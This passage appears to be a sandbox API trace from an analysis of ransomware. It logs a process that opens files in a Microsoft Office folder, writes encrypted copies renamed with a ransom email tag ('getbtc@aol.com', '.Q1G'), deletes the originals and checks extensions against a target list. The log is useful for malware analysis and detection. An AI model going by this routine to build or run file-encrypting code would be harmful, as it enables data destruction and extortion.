Office\\Office14\\1033\\VISIO.SHAPESHEET.HXS") returned 68 [0255.223] lstrlenW (lpString=".jpg") returned 4 [0255.223] lstrcmpiW (lpString1=".jpg", lpString2=".HXS") returned 1 [0255.223] lstrcmpiW (lpString1=".HXT", lpString2=".Q1G") returned -1 [0255.223] lstrlenW (lpString="VISIO_STD_COL.HXT") returned 17 [0255.223] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_std_col.hxt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3dc [0255.224] GetFileSizeEx (in: hFile=0x3dc, lpFileSize=0x2ddff1c | out: lpFileSize=0x2ddff1c*=209) returned 1 [0255.224] CloseHandle (hObject=0x3dc) returned 1 [0255.224] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_std_col.hxt")) returned 0x20 [0255.224] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_COL.HXT.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_std_col.hxt.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0255.224] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_std_col.hxt"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3dc [0255.224] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ddfec8 | out: lpNewFilePointer=0x0) returned 1 [0255.224] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ddfec8 | out: lpNewFilePointer=0x0) returned 1 [0255.224] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_COL.HXT.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_std_col.hxt.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d4 [0255.225] GetLastError () returned 0x0 [0255.225] ReadFile (in: hFile=0x3dc, lpBuffer=0x3ca0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ddfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesRead=0x2ddfed4*=0xd1, lpOverlapped=0x0) returned 1 [0255.226] WriteFile (in: hFile=0x3d4, lpBuffer=0x3ca0020*, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x2ddfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesWritten=0x2ddfc9c*=0xe0, lpOverlapped=0x0) returned 1 [0255.226] ReadFile (in: hFile=0x3dc, lpBuffer=0x3ca0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ddfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesRead=0x2ddfed4*=0x0, lpOverlapped=0x0) returned 1 [0255.226] WriteFile (in: hFile=0x3d4, lpBuffer=0x3ca0020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x2ddfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesWritten=0x2ddfc9c*=0xf6, lpOverlapped=0x0) returned 1 [0255.226] SetEndOfFile (hFile=0x3d4) returned 1 [0255.227] CloseHandle (hObject=0x3d4) returned 1 [0255.227] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ddfec8 | out: lpNewFilePointer=0x0) returned 1 [0255.227] SetEndOfFile (hFile=0x3dc) returned 1 [0255.229] CloseHandle (hObject=0x3dc) returned 1 [0255.229] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_COL.HXT.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0255.229] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_std_col.hxt")) returned 1 [0255.230] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_COL.HXT") returned 65 [0255.230] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_COL.HXT") returned 65 [0255.230] lstrlenW (lpString=".doc") returned 4 [0255.230] lstrcmpiW (lpString1=".doc", lpString2=".HXT") returned -1 [0255.230] lstrlenW (lpString=".docx") returned 5 [0255.230] lstrcmpiW (lpString1=".docx", lpString2="L.HXT") returned -1 [0255.230] lstrlenW (lpString=".pdf") returned 4 [0255.230] lstrcmpiW (lpString1=".pdf", lpString2=".HXT") returned 1 [0255.230] lstrlenW (lpString=".xls") returned 4 [0255.230] lstrcmpiW (lpString1=".xls", lpString2=".HXT") returned 1 [0255.230] lstrlenW (lpString=".xlsx") returned 5 [0255.230] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXT") returned -1 [0255.230] lstrlenW (lpString=".ppt") returned 4 [0255.230] lstrcmpiW (lpString1=".ppt", lpString2=".HXT") returned 1 [0255.230] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_COL.HXT") returned 65 [0255.230] lstrlenW (lpString=".zip") returned 4 [0255.230] lstrcmpiW (lpString1=".zip", lpString2=".HXT") returned 1 [0255.230] lstrlenW (lpString=".rar") returned 4 [0255.230] lstrcmpiW (lpString1=".rar", lpString2=".HXT") returned 1 [0255.230] lstrlenW (lpString=".bz2") returned 4 [0255.230] lstrcmpiW (lpString1=".bz2", lpString2=".HXT") returned -1 [0255.230] lstrlenW (lpString=".7z") returned 3 [0255.230] lstrcmpiW (lpString1=".7z", lpString2="HXT") returned -1 [0255.230] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_COL.HXT") returned 65 [0255.230] lstrlenW (lpString=".dbf") returned 4 [0255.230] lstrcmpiW (lpString1=".dbf", lpString2=".HXT") returned -1 [0255.230] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_COL.HXT") returned 65 [0255.230] lstrlenW (lpString=".1cd") returned 4 [0255.230] lstrcmpiW (lpString1=".1cd", lpString2=".HXT") returned -1 [0255.230] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_COL.HXT") returned 65 [0255.230] lstrlenW (lpString=".jpg") returned 4 [0255.230] lstrcmpiW (lpString1=".jpg", lpString2=".HXT") returned 1 [0255.231] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_COL.HXT") returned 65 [0255.231] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_COL.HXT") returned 65 [0255.231] lstrlenW (lpString=".doc") returned 4 [0255.231] lstrcmpiW (lpString1=".doc", lpString2=".HXT") returned -1 [0255.231] lstrlenW (lpString=".docx") returned 5 [0255.231] lstrcmpiW (lpString1=".docx", lpString2="L.HXT") returned -1 [0255.231] lstrlenW (lpString=".pdf") returned 4 [0255.231] lstrcmpiW (lpString1=".pdf", lpString2=".HXT") returned 1 [0255.231] lstrlenW (lpString=".xls") returned 4 [0255.231] lstrcmpiW (lpString1=".xls", lpString2=".HXT") returned 1 [0255.231] lstrlenW (lpString=".xlsx") returned 5 [0255.231] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXT") returned -1 [0255.231] lstrlenW (lpString=".ppt") returned 4 [0255.231] lstrcmpiW (lpString1=".ppt", lpString2=".HXT") returned 1 [0255.231] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_COL.HXT") returned 65 [0255.231] lstrlenW (lpString=".zip") returned 4 [0255.231] lstrcmpiW (lpString1=".zip", lpString2=".HXT") returned 1 [0255.231] lstrlenW (lpString=".rar") returned 4 [0255.231] lstrcmpiW (lpString1=".rar", lpString2=".HXT") returned 1 [0255.231] lstrlenW (lpString=".bz2") returned 4 [0255.231] lstrcmpiW (lpString1=".bz2", lpString2=".HXT") returned -1 [0255.231] lstrlenW (lpString=".7z") returned 3 [0255.231] lstrcmpiW (lpString1=".7z", lpString2="HXT") returned -1 [0255.231] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_COL.HXT") returned 65 [0255.231] lstrlenW (lpString=".dbf") returned 4 [0255.231] lstrcmpiW (lpString1=".dbf", lpString2=".HXT") returned -1 [0255.231] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_COL.HXT") returned 65 [0255.231] lstrlenW (lpString=".1cd") returned 4 [0255.231] lstrcmpiW (lpString1=".1cd", lpString2=".HXT") returned -1 [0255.231] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_COL.HXT") returned 65 [0255.231] lstrlenW (lpString=".jpg") returned 4 [0255.231] lstrcmpiW (lpString1=".jpg", lpString2=".HXT") returned 1 [0255.232] lstrcmpiW (lpString1=".HXK", lpString2=".Q1G") returned -1 [0255.232] lstrlenW (lpString="VISIO_STD_F_COL.HXK") returned 19 [0255.232] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_std_f_col.hxk"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3dc [0255.232] GetFileSizeEx (in: hFile=0x3dc, lpFileSize=0x2ddff1c | out: lpFileSize=0x2ddff1c*=114) returned 1 [0255.232] CloseHandle (hObject=0x3dc) returned 1 [0255.232] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_std_f_col.hxk")) returned 0x20 [0255.232] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_F_COL.HXK.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_std_f_col.hxk.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0255.232] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_std_f_col.hxk"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3dc [0255.233] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ddfec8 | out: lpNewFilePointer=0x0) returned 1 [0255.233] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ddfec8 | out: lpNewFilePointer=0x0) returned 1 [0255.233] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_F_COL.HXK.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_std_f_col.hxk.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d4 [0255.233] GetLastError () returned 0x0 [0255.233] ReadFile (in: hFile=0x3dc, lpBuffer=0x3ca0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ddfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesRead=0x2ddfed4*=0x72, lpOverlapped=0x0) returned 1 [0255.259] WriteFile (in: hFile=0x3d4, lpBuffer=0x3ca0020*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x2ddfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesWritten=0x2ddfc9c*=0x80, lpOverlapped=0x0) returned 1 [0255.260] ReadFile (in: hFile=0x3dc, lpBuffer=0x3ca0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ddfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesRead=0x2ddfed4*=0x0, lpOverlapped=0x0) returned 1 [0255.260] WriteFile (in: hFile=0x3d4, lpBuffer=0x3ca0020*, nNumberOfBytesToWrite=0xfa, lpNumberOfBytesWritten=0x2ddfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesWritten=0x2ddfc9c*=0xfa, lpOverlapped=0x0) returned 1 [0255.260] SetEndOfFile (hFile=0x3d4) returned 1 [0255.260] CloseHandle (hObject=0x3d4) returned 1 [0255.260] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ddfec8 | out: lpNewFilePointer=0x0) returned 1 [0255.260] SetEndOfFile (hFile=0x3dc) returned 1 [0255.262] CloseHandle (hObject=0x3dc) returned 1 [0255.263] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_F_COL.HXK.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0255.263] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_std_f_col.hxk")) returned 1 [0255.263] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_F_COL.HXK") returned 67 [0255.263] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_F_COL.HXK") returned 67 [0255.263] lstrlenW (lpString=".doc") returned 4 [0255.263] lstrcmpiW (lpString1=".doc", lpString2=".HXK") returned -1 [0255.264] lstrlenW (lpString=".docx") returned 5 [0255.264] lstrcmpiW (lpString1=".docx", lpString2="L.HXK") returned -1 [0255.264] lstrlenW (lpString=".pdf") returned 4 [0255.264] lstrcmpiW (lpString1=".pdf", lpString2=".HXK") returned 1 [0255.264] lstrlenW (lpString=".xls") returned 4 [0255.264] lstrcmpiW (lpString1=".xls", lpString2=".HXK") returned 1 [0255.264] lstrlenW (lpString=".xlsx") returned 5 [0255.264] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXK") returned -1 [0255.264] lstrlenW (lpString=".ppt") returned 4 [0255.264] lstrcmpiW (lpString1=".ppt", lpString2=".HXK") returned 1 [0255.264] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_F_COL.HXK") returned 67 [0255.264] lstrlenW (lpString=".zip") returned 4 [0255.264] lstrcmpiW (lpString1=".zip", lpString2=".HXK") returned 1 [0255.264] lstrlenW (lpString=".rar") returned 4 [0255.264] lstrcmpiW (lpString1=".rar", lpString2=".HXK") returned 1 [0255.264] lstrlenW (lpString=".bz2") returned 4 [0255.264] lstrcmpiW (lpString1=".bz2", lpString2=".HXK") returned -1 [0255.264] lstrlenW (lpString=".7z") returned 3 [0255.264] lstrcmpiW (lpString1=".7z", lpString2="HXK") returned -1 [0255.264] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_F_COL.HXK") returned 67 [0255.264] lstrlenW (lpString=".dbf") returned 4 [0255.264] lstrcmpiW (lpString1=".dbf", lpString2=".HXK") returned -1 [0255.264] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_F_COL.HXK") returned 67 [0255.264] lstrlenW (lpString=".1cd") returned 4 [0255.264] lstrcmpiW (lpString1=".1cd", lpString2=".HXK") returned -1 [0255.264] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_F_COL.HXK") returned 67 [0255.264] lstrlenW (lpString=".jpg") returned 4 [0255.264] lstrcmpiW (lpString1=".jpg", lpString2=".HXK") returned 1 [0255.264] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_F_COL.HXK") returned 67 [0255.264] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_F_COL.HXK") returned 67 [0255.264] lstrlenW (lpString=".doc") returned 4 [0255.264] lstrcmpiW (lpString1=".doc", lpString2=".HXK") returned -1 [0255.264] lstrlenW (lpString=".docx") returned 5 [0255.264] lstrcmpiW (lpString1=".docx", lpString2="L.HXK") returned -1 [0255.264] lstrlenW (lpString=".pdf") returned 4 [0255.264] lstrcmpiW (lpString1=".pdf", lpString2=".HXK") returned 1 [0255.264] lstrlenW (lpString=".xls") returned 4 [0255.265] lstrcmpiW (lpString1=".xls", lpString2=".HXK") returned 1 [0255.265] lstrlenW (lpString=".xlsx") returned 5 [0255.265] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXK") returned -1 [0255.265] lstrlenW (lpString=".ppt") returned 4 [0255.265] lstrcmpiW (lpString1=".ppt", lpString2=".HXK") returned 1 [0255.265] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_F_COL.HXK") returned 67 [0255.265] lstrlenW (lpString=".zip") returned 4 [0255.265] lstrcmpiW (lpString1=".zip", lpString2=".HXK") returned 1 [0255.265] lstrlenW (lpString=".rar") returned 4 [0255.265] lstrcmpiW (lpString1=".rar", lpString2=".HXK") returned 1 [0255.265] lstrlenW (lpString=".bz2") returned 4 [0255.265] lstrcmpiW (lpString1=".bz2", lpString2=".HXK") returned -1 [0255.265] lstrlenW (lpString=".7z") returned 3 [0255.265] lstrcmpiW (lpString1=".7z", lpString2="HXK") returned -1 [0255.265] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_F_COL.HXK") returned 67 [0255.265] lstrlenW (lpString=".dbf") returned 4 [0255.265] lstrcmpiW (lpString1=".dbf", lpString2=".HXK") returned -1 [0255.265] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_F_COL.HXK") returned 67 [0255.265] lstrlenW (lpString=".1cd") returned 4 [0255.265] lstrcmpiW (lpString1=".1cd", lpString2=".HXK") returned -1 [0255.265] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_F_COL.HXK") returned 67 [0255.265] lstrlenW (lpString=".jpg") returned 4 [0255.265] lstrcmpiW (lpString1=".jpg", lpString2=".HXK") returned 1 [0255.266] lstrcmpiW (lpString1=".HXK", lpString2=".Q1G") returned -1 [0255.266] lstrlenW (lpString="VISIO_STD_K_COL.HXK") returned 19 [0255.267] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_std_k_col.hxk"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3dc [0255.267] GetFileSizeEx (in: hFile=0x3dc, lpFileSize=0x2ddff1c | out: lpFileSize=0x2ddff1c*=113) returned 1 [0255.267] CloseHandle (hObject=0x3dc) returned 1 [0255.267] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_std_k_col.hxk")) returned 0x20 [0255.267] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_K_COL.HXK.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_std_k_col.hxk.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0255.267] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_std_k_col.hxk"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3dc [0255.267] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ddfec8 | out: lpNewFilePointer=0x0) returned 1 [0255.268] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ddfec8 | out: lpNewFilePointer=0x0) returned 1 [0255.268] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_K_COL.HXK.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_std_k_col.hxk.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d4 [0255.269] GetLastError () returned 0x0 [0255.269] ReadFile (in: hFile=0x3dc, lpBuffer=0x3ca0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ddfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesRead=0x2ddfed4*=0x71, lpOverlapped=0x0) returned 1 [0255.269] WriteFile (in: hFile=0x3d4, lpBuffer=0x3ca0020*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x2ddfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesWritten=0x2ddfc9c*=0x80, lpOverlapped=0x0) returned 1 [0255.270] ReadFile (in: hFile=0x3dc, lpBuffer=0x3ca0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ddfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesRead=0x2ddfed4*=0x0, lpOverlapped=0x0) returned 1 [0255.270] WriteFile (in: hFile=0x3d4, lpBuffer=0x3ca0020*, nNumberOfBytesToWrite=0xfa, lpNumberOfBytesWritten=0x2ddfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesWritten=0x2ddfc9c*=0xfa, lpOverlapped=0x0) returned 1 [0255.270] SetEndOfFile (hFile=0x3d4) returned 1 [0255.271] CloseHandle (hObject=0x3d4) returned 1 [0255.271] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ddfec8 | out: lpNewFilePointer=0x0) returned 1 [0255.271] SetEndOfFile (hFile=0x3dc) returned 1 [0255.273] CloseHandle (hObject=0x3dc) returned 1 [0255.273] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_K_COL.HXK.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0255.273] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_std_k_col.hxk")) returned 1 [0255.274] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_K_COL.HXK") returned 67 [0255.274] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_K_COL.HXK") returned 67 [0255.274] lstrlenW (lpString=".doc") returned 4 [0255.274] lstrcmpiW (lpString1=".doc", lpString2=".HXK") returned -1 [0255.274] lstrlenW (lpString=".docx") returned 5 [0255.274] lstrcmpiW (lpString1=".docx", lpString2="L.HXK") returned -1 [0255.274] lstrlenW (lpString=".pdf") returned 4 [0255.274] lstrcmpiW (lpString1=".pdf", lpString2=".HXK") returned 1 [0255.274] lstrlenW (lpString=".xls") returned 4 [0255.274] lstrcmpiW (lpString1=".xls", lpString2=".HXK") returned 1 [0255.274] lstrlenW (lpString=".xlsx") returned 5 [0255.274] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXK") returned -1 [0255.274] lstrlenW (lpString=".ppt") returned 4 [0255.274] lstrcmpiW (lpString1=".ppt", lpString2=".HXK") returned 1 [0255.274] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_K_COL.HXK") returned 67 [0255.274] lstrlenW (lpString=".zip") returned 4 [0255.274] lstrcmpiW (lpString1=".zip", lpString2=".HXK") returned 1 [0255.274] lstrlenW (lpString=".rar") returned 4 [0255.274] lstrcmpiW (lpString1=".rar", lpString2=".HXK") returned 1 [0255.274] lstrlenW (lpString=".bz2") returned 4 [0255.274] lstrcmpiW (lpString1=".bz2", lpString2=".HXK") returned -1 [0255.274] lstrlenW (lpString=".7z") returned 3 [0255.274] lstrcmpiW (lpString1=".7z", lpString2="HXK") returned -1 [0255.274] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_K_COL.HXK") returned 67 [0255.274] lstrlenW (lpString=".dbf") returned 4 [0255.274] lstrcmpiW (lpString1=".dbf", lpString2=".HXK") returned -1 [0255.274] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_K_COL.HXK") returned 67 [0255.274] lstrlenW (lpString=".1cd") returned 4 [0255.274] lstrcmpiW (lpString1=".1cd", lpString2=".HXK") returned -1 [0255.274] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_K_COL.HXK") returned 67 [0255.274] lstrlenW (lpString=".jpg") returned 4 [0255.274] lstrcmpiW (lpString1=".jpg", lpString2=".HXK") returned 1 [0255.274] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_K_COL.HXK") returned 67 [0255.274] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_K_COL.HXK") returned 67 [0255.274] lstrlenW (lpString=".doc") returned 4 [0255.274] lstrcmpiW (lpString1=".doc", lpString2=".HXK") returned -1 [0255.274] lstrlenW (lpString=".docx") returned 5 [0255.274] lstrcmpiW (lpString1=".docx", lpString2="L.HXK") returned -1 [0255.275] lstrlenW (lpString=".pdf") returned 4 [0255.275] lstrcmpiW (lpString1=".pdf", lpString2=".HXK") returned 1 [0255.275] lstrlenW (lpString=".xls") returned 4 [0255.275] lstrcmpiW (lpString1=".xls", lpString2=".HXK") returned 1 [0255.275] lstrlenW (lpString=".xlsx") returned 5 [0255.275] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXK") returned -1 [0255.275] lstrlenW (lpString=".ppt") returned 4 [0255.275] lstrcmpiW (lpString1=".ppt", lpString2=".HXK") returned 1 [0255.275] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_K_COL.HXK") returned 67 [0255.275] lstrlenW (lpString=".zip") returned 4 [0255.275] lstrcmpiW (lpString1=".zip", lpString2=".HXK") returned 1 [0255.275] lstrlenW (lpString=".rar") returned 4 [0255.275] lstrcmpiW (lpString1=".rar", lpString2=".HXK") returned 1 [0255.275] lstrlenW (lpString=".bz2") returned 4 [0255.275] lstrcmpiW (lpString1=".bz2", lpString2=".HXK") returned -1 [0255.275] lstrlenW (lpString=".7z") returned 3 [0255.275] lstrcmpiW (lpString1=".7z", lpString2="HXK") returned -1 [0255.275] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_K_COL.HXK") returned 67 [0255.275] lstrlenW (lpString=".dbf") returned 4 [0255.275] lstrcmpiW (lpString1=".dbf", lpString2=".HXK") returned -1 [0255.275] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_K_COL.HXK") returned 67 [0255.275] lstrlenW (lpString=".1cd") returned 4 [0255.275] lstrcmpiW (lpString1=".1cd", lpString2=".HXK") returned -1 [0255.275] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_K_COL.HXK") returned 67 [0255.275] lstrlenW (lpString=".jpg") returned 4 [0255.275] lstrcmpiW (lpString1=".jpg", lpString2=".HXK") returned 1 [0255.275] lstrcmpiW (lpString1=".VSL", lpString2=".Q1G") returned 1 [0255.275] lstrlenW (lpString="VISUTILS.VSL") returned 12 [0255.275] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISUTILS.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visutils.vsl"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, 